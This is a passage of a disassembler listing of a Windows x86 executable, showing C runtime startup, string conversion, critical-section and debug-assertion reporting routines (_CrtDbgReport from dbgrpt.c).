loc_41E85D mov eax, [ebp+var_4] jmp loc_41E9B4 ; --------------------------------------------------------------------------- loc_41E85D: ; CODE XREF: sub_41E7D0+83j mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+arg_0] add edx, 2 mov [ebp+arg_0], edx jmp short loc_41E830 ; --------------------------------------------------------------------------- loc_41E871: ; CODE XREF: sub_41E7D0+66j mov eax, [ebp+var_4] jmp loc_41E9B4 ; --------------------------------------------------------------------------- loc_41E879: ; CODE XREF: sub_41E7D0+5Ej mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_0] push ecx push 0FFFFFFFFh mov edx, [ebp+arg_4] push edx push 9 mov eax, dword_4EF984 push eax call dword_4F1420 ; MultiByteToWideChar mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41E8A9 mov eax, [ebp+var_4] sub eax, 1 jmp loc_41E9B4 ; --------------------------------------------------------------------------- loc_41E8A9: ; CODE XREF: sub_41E7D0+CCj call dword_4F1348 ; RtlGetLastWin32Error cmp eax, 7Ah jz short loc_41E8C7 call sub_4248A0 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp loc_41E9B4 ; --------------------------------------------------------------------------- loc_41E8C7: ; CODE XREF: sub_41E7D0+E2j mov ecx, [ebp+arg_8] mov [ebp+var_10], ecx mov edx, [ebp+arg_4] mov [ebp+var_8], edx jmp short loc_41E8DE ; --------------------------------------------------------------------------- loc_41E8D5: ; CODE XREF: sub_41E7D0:loc_41E91Fj mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_41E8DE: ; CODE XREF: sub_41E7D0+103j mov ecx, [ebp+var_10] mov edx, [ebp+var_10] sub edx, 1 mov [ebp+var_10], edx test ecx, ecx jz short loc_41E921 mov eax, [ebp+var_8] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_41E921 mov edx, [ebp+var_8] xor eax, eax mov al, [edx] mov ecx, off_45149C xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_41E91F mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_41E91F: ; CODE XREF: sub_41E7D0+144j jmp short loc_41E8D5 ; --------------------------------------------------------------------------- loc_41E921: ; CODE XREF: sub_41E7D0+11Cj ; sub_41E7D0+127j mov ecx, [ebp+var_8] sub ecx, [ebp+arg_4] mov [ebp+var_C], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_C] push ecx mov edx, [ebp+arg_4] push edx push 1 mov eax, dword_4EF984 push eax call dword_4F1420 ; MultiByteToWideChar mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41E961 call sub_4248A0 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_41E9B4 ; --------------------------------------------------------------------------- loc_41E961: ; CODE XREF: sub_41E7D0+17Fj mov eax, [ebp+var_4] jmp short loc_41E9B4 ; --------------------------------------------------------------------------- loc_41E966: ; CODE XREF: sub_41E7D0+51j cmp dword_4EF974, 0 jnz short loc_41E97D mov ecx, [ebp+arg_4] push ecx call sub_418D00 add esp, 4 jmp short loc_41E9B4 ; --------------------------------------------------------------------------- loc_41E97D: ; CODE XREF: sub_41E7D0+19Dj push 0 push 0 push 0FFFFFFFFh mov edx, [ebp+arg_4] push edx push 9 mov eax, dword_4EF984 push eax call dword_4F1420 ; MultiByteToWideChar mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41E9AE call sub_4248A0 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_41E9B4 ; --------------------------------------------------------------------------- loc_41E9AE: ; CODE XREF: sub_41E7D0+1CCj mov eax, [ebp+var_4] sub eax, 1 loc_41E9B4: ; CODE XREF: sub_41E7D0+1Ej ; sub_41E7D0+88j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41E7D0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_437D38 push offset sub_42A9E4 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFA4h push ebx push esi push edi mov [ebp-18h], esp call dword_4F1460 ; GetVersion mov dword_4EF87C, eax mov eax, dword_4EF87C shr eax, 8 and eax, 0FFh mov dword_4EF888, eax mov ecx, dword_4EF87C and ecx, 0FFh mov dword_4EF884, ecx mov edx, dword_4EF884 shl edx, 8 add edx, dword_4EF888 mov dword_4EF880, edx mov eax, dword_4EF87C shr eax, 10h and eax, 0FFFFh mov dword_4EF87C, eax push 1 call sub_4200C0 add esp, 4 test eax, eax jnz short loc_41EA54 push 1Ch call sub_41EB60 add esp, 4 loc_41EA54: ; CODE XREF: .nsp0:0041EA48j call sub_423C10 test eax, eax jnz short loc_41EA67 push 10h call sub_41EB60 add esp, 4 loc_41EA67: ; CODE XREF: .nsp0:0041EA5Bj mov dword ptr [ebp-4], 0 call sub_42A610 call dword_4F145C ; GetCommandLineA mov dword_4F0FA4, eax call sub_42A3F0 mov dword_4EF8E0, eax call sub_429EE0 call sub_429D90 call sub_41B540 mov dword ptr [ebp-30h], 0 lea ecx, [ebp-5Ch] push ecx call dword_4F1458 ; GetStartupInfoA call sub_429CD0 mov [ebp-64h], eax mov edx, [ebp-30h] and edx, 1 test edx, edx jz short loc_41EAC7 mov eax, [ebp-2Ch] and eax, 0FFFFh mov [ebp-6Ch], eax jmp short loc_41EACE ; --------------------------------------------------------------------------- loc_41EAC7: ; CODE XREF: .nsp0:0041EAB8j mov dword ptr [ebp-6Ch], 0Ah loc_41EACE: ; CODE XREF: .nsp0:0041EAC5j mov ecx, [ebp-6Ch] push ecx mov edx, [ebp-64h] push edx push 0 push 0 call dword_4F1358 ; GetModuleHandleA push eax call sub_40141B mov [ebp-60h], eax mov eax, [ebp-60h] push eax call sub_41B580 mov ecx, [ebp-14h] mov edx, [ecx] mov eax, [edx] mov [ebp-68h], eax mov ecx, [ebp-14h] push ecx mov edx, [ebp-68h] push edx call sub_429AB0 add esp, 8 retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] mov eax, [ebp-68h] push eax call sub_41B5A0 mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB30 proc near ; CODE XREF: sub_41DA10+2Cp ; sub_41EB90+8Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp dword_4EF8E8, 1 jnz short loc_41EB41 call sub_42AAC0 loc_41EB41: ; CODE XREF: sub_41EB30+Aj mov eax, [ebp+arg_0] push eax call sub_42AB10 add esp, 4 push 0FFh call off_451120 add esp, 4 pop ebp retn sub_41EB30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB60 proc near ; CODE XREF: .nsp0:0041EA4Cp ; .nsp0:0041EA5Fp arg_0 = dword ptr 8 push ebp mov ebp, esp cmp dword_4EF8E8, 1 jnz short loc_41EB71 call sub_42AAC0 loc_41EB71: ; CODE XREF: sub_41EB60+Aj mov eax, [ebp+arg_0] push eax call sub_42AB10 add esp, 4 push 0FFh call dword_4F1320 ; ExitProcess pop ebp retn sub_41EB60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB90 proc near ; DATA XREF: .nsp0:0043A024o var_4 = dword ptr -4 push ebp mov ebp, esp push ecx cmp dword_4F0FA0, 0 jnz short loc_41EBA9 mov dword_4F0FA0, 200h jmp short loc_41EBBC ; --------------------------------------------------------------------------- loc_41EBA9: ; CODE XREF: sub_41EB90+Bj cmp dword_4F0FA0, 14h jge short loc_41EBBC mov dword_4F0FA0, 14h loc_41EBBC: ; CODE XREF: sub_41EB90+17j ; sub_41EB90+20j push 83h push offset dword_437D44 push 2 push 4 mov eax, dword_4F0FA0 push eax call sub_419300 add esp, 14h mov dword_4EFF88, eax cmp dword_4EFF88, 0 jnz short loc_41EC25 mov dword_4F0FA0, 14h push 86h push offset dword_437D44 push 2 push 4 mov ecx, dword_4F0FA0 push ecx call sub_419300 add esp, 14h mov dword_4EFF88, eax cmp dword_4EFF88, 0 jnz short loc_41EC25 push 1Ah call sub_41EB30 add esp, 4 loc_41EC25: ; CODE XREF: sub_41EB90+54j ; sub_41EB90+89j mov [ebp+var_4], 0 jmp short loc_41EC37 ; --------------------------------------------------------------------------- loc_41EC2E: ; CODE XREF: sub_41EB90+C4j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_41EC37: ; CODE XREF: sub_41EB90+9Cj cmp [ebp+var_4], 14h jge short loc_41EC56 mov eax, [ebp+var_4] shl eax, 5 add eax, offset off_451128 mov ecx, [ebp+var_4] mov edx, dword_4EFF88 mov [edx+ecx*4], eax jmp short loc_41EC2E ; --------------------------------------------------------------------------- loc_41EC56: ; CODE XREF: sub_41EB90+ABj mov [ebp+var_4], 0 jmp short loc_41EC68 ; --------------------------------------------------------------------------- loc_41EC5F: ; CODE XREF: sub_41EB90:loc_41ECB6j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_41EC68: ; CODE XREF: sub_41EB90+CDj cmp [ebp+var_4], 3 jge short loc_41ECB8 mov ecx, [ebp+var_4] sar ecx, 5 mov edx, [ebp+var_4] and edx, 1Fh imul edx, 24h mov eax, dword_4EFC40[ecx*4] cmp dword ptr [eax+edx], 0FFFFFFFFh jz short loc_41ECA6 mov ecx, [ebp+var_4] sar ecx, 5 mov edx, [ebp+var_4] and edx, 1Fh imul edx, 24h mov eax, dword_4EFC40[ecx*4] cmp dword ptr [eax+edx], 0 jnz short loc_41ECB6 loc_41ECA6: ; CODE XREF: sub_41EB90+F8j mov ecx, [ebp+var_4] shl ecx, 5 mov dword_451138[ecx], 0FFFFFFFFh loc_41ECB6: ; CODE XREF: sub_41EB90+114j jmp short loc_41EC5F ; --------------------------------------------------------------------------- loc_41ECB8: ; CODE XREF: sub_41EB90+DCj mov esp, ebp pop ebp retn sub_41EB90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ECC0 proc near ; DATA XREF: .nsp0:0043A038o push ebp mov ebp, esp call sub_41F8A0 movsx eax, byte_4EF8B0 test eax, eax jz short loc_41ECD8 call sub_42AD20 loc_41ECD8: ; CODE XREF: sub_41ECC0+11j pop ebp retn sub_41ECC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ECE0 proc near ; CODE XREF: sub_418D80+55p ; sub_41AE60+8p ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], offset off_451128 jb short loc_41ED0E cmp [ebp+arg_0], offset dword_451388 ja short loc_41ED0E mov eax, [ebp+arg_0] sub eax, offset off_451128 sar eax, 5 add eax, 1Ch push eax call sub_41FB40 add esp, 4 jmp short loc_41ED1B ; --------------------------------------------------------------------------- loc_41ED0E: ; CODE XREF: sub_41ECE0+Aj ; sub_41ECE0+13j mov ecx, [ebp+arg_0] add ecx, 20h push ecx call dword_4F1390 ; RtlEnterCriticalSection loc_41ED1B: ; CODE XREF: sub_41ECE0+2Cj pop ebp retn sub_41ECE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ED20 proc near ; CODE XREF: sub_41F8B0+7Ep ; sub_422970+6Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_0], 14h jge short loc_41ED3A mov eax, [ebp+arg_0] add eax, 1Ch push eax call sub_41FB40 add esp, 4 jmp short loc_41ED47 ; --------------------------------------------------------------------------- loc_41ED3A: ; CODE XREF: sub_41ED20+7j mov ecx, [ebp+arg_4] add ecx, 20h push ecx call dword_4F1390 ; RtlEnterCriticalSection loc_41ED47: ; CODE XREF: sub_41ED20+18j pop ebp retn sub_41ED20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ED50 proc near ; CODE XREF: sub_418D80+70p ; sub_41AE60+2Fp ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], offset off_451128 jb short loc_41ED7E cmp [ebp+arg_0], offset dword_451388 ja short loc_41ED7E mov eax, [ebp+arg_0] sub eax, offset off_451128 sar eax, 5 add eax, 1Ch push eax call sub_41FBE0 add esp, 4 jmp short loc_41ED8B ; --------------------------------------------------------------------------- loc_41ED7E: ; CODE XREF: sub_41ED50+Aj ; sub_41ED50+13j mov ecx, [ebp+arg_0] add ecx, 20h push ecx call dword_4F138C ; RtlLeaveCriticalSection loc_41ED8B: ; CODE XREF: sub_41ED50+2Cj pop ebp retn sub_41ED50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ED90 proc near ; CODE XREF: sub_41F8B0+116p ; sub_422970+A0p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_0], 14h jge short loc_41EDAA mov eax, [ebp+arg_0] add eax, 1Ch push eax call sub_41FBE0 add esp, 4 jmp short loc_41EDB7 ; --------------------------------------------------------------------------- loc_41EDAA: ; CODE XREF: sub_41ED90+7j mov ecx, [ebp+arg_4] add ecx, 20h push ecx call dword_4F138C ; RtlLeaveCriticalSection loc_41EDB7: ; CODE XREF: sub_41ED90+18j pop ebp retn sub_41ED90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EDC0 proc near ; CODE XREF: sub_41EED0+113p ; sub_41F260+33p push ebp mov ebp, esp call dword_4F1464 ; DebugBreak pop ebp retn sub_41EDC0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword ptr [ebp+8], 0 jl short loc_41EDE0 cmp dword ptr [ebp+8], 3 jl short loc_41EDE5 loc_41EDE0: ; CODE XREF: .nsp0:0041EDD8j or eax, 0FFFFFFFFh jmp short loc_41EE23 ; --------------------------------------------------------------------------- loc_41EDE5: ; CODE XREF: .nsp0:0041EDDEj cmp dword ptr [ebp+0Ch], 0FFFFFFFFh jnz short loc_41EDF7 mov eax, [ebp+8] mov eax, dword_4513AC[eax*4] jmp short loc_41EE23 ; --------------------------------------------------------------------------- loc_41EDF7: ; CODE XREF: .nsp0:0041EDE9j mov ecx, [ebp+0Ch] and ecx, 0FFFFFFF8h test ecx, ecx jz short loc_41EE06 or eax, 0FFFFFFFFh jmp short loc_41EE23 ; --------------------------------------------------------------------------- loc_41EE06: ; CODE XREF: .nsp0:0041EDFFj mov edx, [ebp+8] mov eax, dword_4513AC[edx*4] mov [ebp-4], eax mov ecx, [ebp+8] mov edx, [ebp+0Ch] mov dword_4513AC[ecx*4], edx mov eax, [ebp-4] loc_41EE23: ; CODE XREF: .nsp0:0041EDE3j ; .nsp0:0041EDF5j ... mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword ptr [ebp+8], 0 jl short loc_41EE40 cmp dword ptr [ebp+8], 3 jl short loc_41EE47 loc_41EE40: ; CODE XREF: .nsp0:0041EE38j mov eax, 0FFFFFFFEh jmp short loc_41EEAA ; --------------------------------------------------------------------------- loc_41EE47: ; CODE XREF: .nsp0:0041EE3Ej cmp dword ptr [ebp+0Ch], 0FFFFFFFAh jnz short loc_41EE59 mov eax, [ebp+8] mov eax, dword_4513B8[eax*4] jmp short loc_41EEAA ; --------------------------------------------------------------------------- loc_41EE59: ; CODE XREF: .nsp0:0041EE4Bj mov ecx, [ebp+8] mov edx, dword_4513B8[ecx*4] mov [ebp-4], edx cmp dword ptr [ebp+0Ch], 0FFFFFFFCh jnz short loc_41EE80 push 0FFFFFFF5h call dword_4F1468 ; GetStdHandle mov ecx, [ebp+8] mov dword_4513B8[ecx*4], eax jmp short loc_41EEA7 ; --------------------------------------------------------------------------- loc_41EE80: ; CODE XREF: .nsp0:0041EE6Aj cmp dword ptr [ebp+0Ch], 0FFFFFFFBh jnz short loc_41EE9A push 0FFFFFFF4h call dword_4F1468 ; GetStdHandle mov edx, [ebp+8] mov dword_4513B8[edx*4], eax jmp short loc_41EEA7 ; --------------------------------------------------------------------------- loc_41EE9A: ; CODE XREF: .nsp0:0041EE84j mov eax, [ebp+8] mov ecx, [ebp+0Ch] mov dword_4513B8[eax*4], ecx loc_41EEA7: ; CODE XREF: .nsp0:0041EE7Ej ; .nsp0:0041EE98j mov eax, [ebp-4] loc_41EEAA: ; CODE XREF: .nsp0:0041EE45j ; .nsp0:0041EE57j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, dword_4EFF84 mov [ebp-4], eax mov ecx, [ebp+8] mov dword_4EFF84, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EED0 proc near ; CODE XREF: sub_418D80+24p ; sub_418E10+2Cp ... var_302C = dword ptr -302Ch var_3028 = dword ptr -3028h var_3024 = byte ptr -3024h var_3010 = byte ptr -3010h var_300C = dword ptr -300Ch var_3008 = byte ptr -3008h var_3007 = byte ptr -3007h var_2008 = byte ptr -2008h var_2007 = byte ptr -2007h var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_1000 = byte ptr -1000h var_FFF = byte ptr -0FFFh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch push ebp mov ebp, esp mov eax, 302Ch call sub_41BC60 push edi mov [ebp+var_3008], 0 mov ecx, 3FFh xor eax, eax lea edi, [ebp+var_3007] rep stosd stosw stosb mov [ebp+var_2008], 0 mov ecx, 3FFh xor eax, eax lea edi, [ebp+var_2007] rep stosd stosw stosb mov [ebp+var_1000], 0 mov ecx, 3FFh xor eax, eax lea edi, [ebp+var_FFF] rep stosd stosw stosb lea eax, [ebp+arg_14] mov [ebp+var_1004], eax cmp [ebp+arg_0], 0 jl short loc_41EF3E cmp [ebp+arg_0], 3 jl short loc_41EF46 loc_41EF3E: ; CODE XREF: sub_41EED0+66j or eax, 0FFFFFFFFh jmp loc_41F25B ; --------------------------------------------------------------------------- loc_41EF46: ; CODE XREF: sub_41EED0+6Cj cmp [ebp+arg_0], 2 jnz loc_41EFF0 push offset dword_4513A8 call dword_4F1454 ; InterlockedIncrement test eax, eax jle loc_41EFF0 cmp dword_4EF8F0, 0 jnz short loc_41EFAE push offset aUser32_dll_0 ; "user32.dll" call dword_4F1374 ; LoadLibraryA mov [ebp+var_300C], eax cmp [ebp+var_300C], 0 jz short loc_41EFA6 push offset aWsprintfa ; "wsprintfA" mov ecx, [ebp+var_300C] push ecx call dword_4F1378 ; GetProcAddress mov dword_4EF8F0, eax cmp dword_4EF8F0, 0 jnz short loc_41EFAE loc_41EFA6: ; CODE XREF: sub_41EED0+B4j or eax, 0FFFFFFFFh jmp loc_41F25B ; --------------------------------------------------------------------------- loc_41EFAE: ; CODE XREF: sub_41EED0+9Aj ; sub_41EED0+D4j mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax push offset aSecondChanceAs ; "Second Chance Assertion Failed: File %s"... lea ecx, [ebp+var_2008] push ecx call dword_4EF8F0 add esp, 10h lea edx, [ebp+var_2008] push edx call dword_4F146C ; OutputDebugStringA push offset dword_4513A8 call dword_4F1450 ; InterlockedDecrement call sub_41EDC0 or eax, 0FFFFFFFFh jmp loc_41F25B ; --------------------------------------------------------------------------- loc_41EFF0: ; CODE XREF: sub_41EED0+7Aj ; sub_41EED0+8Dj cmp [ebp+arg_10], 0 jz short loc_41F02D mov eax, [ebp+var_1004] push eax mov ecx, [ebp+arg_10] push ecx push 0FEDh lea edx, [ebp+var_1000] push edx call sub_41C6A0 add esp, 10h test eax, eax jge short loc_41F02D push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"... lea eax, [ebp+var_1000] push eax call sub_41C300 add esp, 8 loc_41F02D: ; CODE XREF: sub_41EED0+124j ; sub_41EED0+147j cmp [ebp+arg_0], 2 jnz short loc_41F065 cmp [ebp+arg_10], 0 jz short loc_41F045 mov [ebp+var_3028], offset aAssertionFaile ; "Assertion failed: " jmp short loc_41F04F ; --------------------------------------------------------------------------- loc_41F045: ; CODE XREF: sub_41EED0+167j mov [ebp+var_3028], offset aAssertionFai_0 ; "Assertion failed!" loc_41F04F: ; CODE XREF: sub_41EED0+173j mov ecx, [ebp+var_3028] push ecx lea edx, [ebp+var_3008] push edx call sub_41C300 add esp, 8 loc_41F065: ; CODE XREF: sub_41EED0+161j lea eax, [ebp+var_1000] push eax lea ecx, [ebp+var_3008] push ecx call sub_41C310 add esp, 8 cmp [ebp+arg_0], 2 jnz short loc_41F0BA mov edx, [ebp+arg_0] mov eax, dword_4513AC[edx*4] and eax, 1 test eax, eax jz short loc_41F0A6 push offset asc_437D80 ; "\r" lea ecx, [ebp+var_3008] push ecx call sub_41C310 add esp, 8 loc_41F0A6: ; CODE XREF: sub_41EED0+1C0j push offset asc_437D7C ; "\n" lea edx, [ebp+var_3008] push edx call sub_41C310 add esp, 8 loc_41F0BA: ; CODE XREF: sub_41EED0+1AFj cmp [ebp+arg_4], 0 jz short loc_41F102 lea eax, [ebp+var_3008] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx push offset aSDS ; "%s(%d) : %s" push 1000h lea eax, [ebp+var_2008] push eax call sub_41B910 add esp, 18h test eax, eax jge short loc_41F100 push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"... lea ecx, [ebp+var_2008] push ecx call sub_41C300 add esp, 8 loc_41F100: ; CODE XREF: sub_41EED0+21Aj jmp short loc_41F118 ; --------------------------------------------------------------------------- loc_41F102: ; CODE XREF: sub_41EED0+1EEj lea edx, [ebp+var_3008] push edx lea eax, [ebp+var_2008] push eax call sub_41C300 add esp, 8 loc_41F118: ; CODE XREF: sub_41EED0:loc_41F100j cmp dword_4EFF84, 0 jz short loc_41F15C lea ecx, [ebp+var_1008] push ecx lea edx, [ebp+var_2008] push edx mov eax, [ebp+arg_0] push eax call dword_4EFF84 add esp, 0Ch test eax, eax jz short loc_41F15C cmp [ebp+arg_0], 2 jnz short loc_41F151 push offset dword_4513A8 call dword_4F1450 ; InterlockedDecrement loc_41F151: ; CODE XREF: sub_41EED0+274j mov eax, [ebp+var_1008] jmp loc_41F25B ; --------------------------------------------------------------------------- loc_41F15C: ; CODE XREF: sub_41EED0+24Fj ; sub_41EED0+26Ej mov ecx, [ebp+arg_0] mov edx, dword_4513AC[ecx*4] and edx, 1 test edx, edx jz short loc_41F1AB mov eax, [ebp+arg_0] cmp dword_4513B8[eax*4], 0FFFFFFFFh jz short loc_41F1AB push 0 lea ecx, [ebp+var_3010] push ecx lea edx, [ebp+var_2008] push edx call sub_418D00 add esp, 4 push eax lea eax, [ebp+var_2008] push eax mov ecx, [ebp+arg_0] mov edx, dword_4513B8[ecx*4] push edx call dword_4F139C ; WriteFile loc_41F1AB: ; CODE XREF: sub_41EED0+29Bj ; sub_41EED0+2A8j mov eax, [ebp+arg_0] mov ecx, dword_4513AC[eax*4] and ecx, 2 test ecx, ecx jz short loc_41F1C9 lea edx, [ebp+var_2008] push edx call dword_4F146C ; OutputDebugStringA loc_41F1C9: ; CODE XREF: sub_41EED0+2EAj mov eax, [ebp+arg_0] mov ecx, dword_4513AC[eax*4] and ecx, 4 test ecx, ecx jz short loc_41F248 cmp [ebp+arg_8], 0 jz short loc_41F1FD push 0Ah lea edx, [ebp+var_3024] push edx mov eax, [ebp+arg_8] push eax call sub_42AE00 add esp, 0Ch mov [ebp+var_302C], eax jmp short loc_41F207 ; --------------------------------------------------------------------------- loc_41F1FD: ; CODE XREF: sub_41EED0+30Ej mov [ebp+var_302C], 0 loc_41F207: ; CODE XREF: sub_41EED0+32Bj lea ecx, [ebp+var_1000] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+var_302C] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_41F260 add esp, 14h mov [ebp+var_1008], eax cmp [ebp+arg_0], 2 jnz short loc_41F240 push offset dword_4513A8 call dword_4F1450 ; InterlockedDecrement loc_41F240: ; CODE XREF: sub_41EED0+363j mov eax, [ebp+var_1008] jmp short loc_41F25B ; --------------------------------------------------------------------------- loc_41F248: ; CODE XREF: sub_41EED0+308j cmp [ebp+arg_0], 2 jnz short loc_41F259 push offset dword_4513A8 call dword_4F1450 ; InterlockedDecrement loc_41F259: ; CODE XREF: sub_41EED0+37Cj xor eax, eax loc_41F25B: ; CODE XREF: sub_41EED0+71j ; sub_41EED0+D9j ... pop edi mov esp, ebp pop ebp retn sub_41EED0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F260 proc near ; CODE XREF: sub_41EED0+351p var_1138 = dword ptr -1138h var_1134 = dword ptr -1134h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1128 = dword ptr -1128h var_1124 = dword ptr -1124h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1114 = dword ptr -1114h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov eax, 1138h call sub_41BC60 loc_41F26D: ; CODE XREF: sub_41F260+3Cj cmp [ebp+arg_10], 0 jnz short loc_41F298 push offset aSzusermessageN ; "szUserMessage != NULL" push 0 push 1DAh push offset aDbgrpt_c ; "dbgrpt.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_41F298 call sub_41EDC0 loc_41F298: ; CODE XREF: sub_41F260+11j ; sub_41F260+31j xor eax, eax test eax, eax jnz short loc_41F26D push 104h lea ecx, [ebp+var_108] push ecx push 0 call dword_4F132C ; GetModuleFileNameA test eax, eax jnz short loc_41F2CA push offset aProgramNameUnk ; "<program name unknown>" lea edx, [ebp+var_108] push edx call sub_41C300 add esp, 8 loc_41F2CA: ; CODE XREF: sub_41F260+54j lea eax, [ebp+var_108] mov [ebp+var_4], eax mov ecx, [ebp+var_4] push ecx call sub_418D00 add esp, 4 cmp eax, 40h jbe short loc_41F30D mov edx, [ebp+var_4] push edx call sub_418D00 add esp, 4 mov ecx, [ebp+var_4] lea edx, [ecx+eax-40h] mov [ebp+var_4], edx push 3 push offset a___ ; "..." mov eax, [ebp+var_4] push eax call sub_41B1F0 add esp, 0Ch loc_41F30D: ; CODE XREF: sub_41F260+82j mov ecx, [ebp+arg_C] mov [ebp+var_1110], ecx cmp [ebp+var_1110], 0 jz short loc_41F368 mov edx, [ebp+var_1110] push edx call sub_418D00 add esp, 4 cmp eax, 40h jbe short loc_41F368 mov eax, [ebp+var_1110] push eax call sub_418D00 add esp, 4 mov ecx, [ebp+var_1110] lea edx, [ecx+eax-40h] mov [ebp+var_1110], edx push 3 push offset a___ ; "..." mov eax, [ebp+var_1110] push eax call sub_41B1F0 add esp, 0Ch loc_41F368: ; CODE XREF: sub_41F260+BDj ; sub_41F260+D1j cmp [ebp+arg_0], 2 jnz short loc_41F37A mov [ebp+var_1114], offset aForInformation ; "\n\nFor information on how your program c"... jmp short loc_41F384 ; --------------------------------------------------------------------------- loc_41F37A: ; CODE XREF: sub_41F260+10Cj mov [ebp+var_1114], offset dword_437ECC loc_41F384: ; CODE XREF: sub_41F260+118j mov ecx, [ebp+arg_10] movsx edx, byte ptr [ecx] test edx, edx jz short loc_41F399 mov eax, [ebp+arg_10] mov [ebp+var_1118], eax jmp short loc_41F3A3 ; --------------------------------------------------------------------------- loc_41F399: ; CODE XREF: sub_41F260+12Cj mov [ebp+var_1118], offset dword_437ECC loc_41F3A3: ; CODE XREF: sub_41F260+137j mov ecx, [ebp+arg_10] movsx edx, byte ptr [ecx] test edx, edx jz short loc_41F3BF cmp [ebp+arg_0], 2 jnz short loc_41F3BF mov [ebp+var_111C], offset aExpression ; "Expression: " jmp short loc_41F3C9 ; --------------------------------------------------------------------------- loc_41F3BF: ; CODE XREF: sub_41F260+14Bj ; sub_41F260+151j mov [ebp+var_111C], offset dword_437ECC loc_41F3C9: ; CODE XREF: sub_41F260+15Dj mov eax, [ebp+arg_10] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_41F3DF mov [ebp+var_1120], offset asc_437EB8 ; "\n\n" jmp short loc_41F3E9 ; --------------------------------------------------------------------------- loc_41F3DF: ; CODE XREF: sub_41F260+171j mov [ebp+var_1120], offset dword_437ECC loc_41F3E9: ; CODE XREF: sub_41F260+17Dj cmp [ebp+arg_8], 0 jz short loc_41F3FA mov edx, [ebp+arg_8] mov [ebp+var_1124], edx jmp short loc_41F404 ; --------------------------------------------------------------------------- loc_41F3FA: ; CODE XREF: sub_41F260+18Dj mov [ebp+var_1124], offset dword_437ECC loc_41F404: ; CODE XREF: sub_41F260+198j cmp [ebp+arg_8], 0 jz short loc_41F416 mov [ebp+var_1128], offset aLine ; "\nLine: " jmp short loc_41F420 ; --------------------------------------------------------------------------- loc_41F416: ; CODE XREF: sub_41F260+1A8j mov [ebp+var_1128], offset dword_437ECC loc_41F420: ; CODE XREF: sub_41F260+1B4j cmp [ebp+arg_4], 0 jz 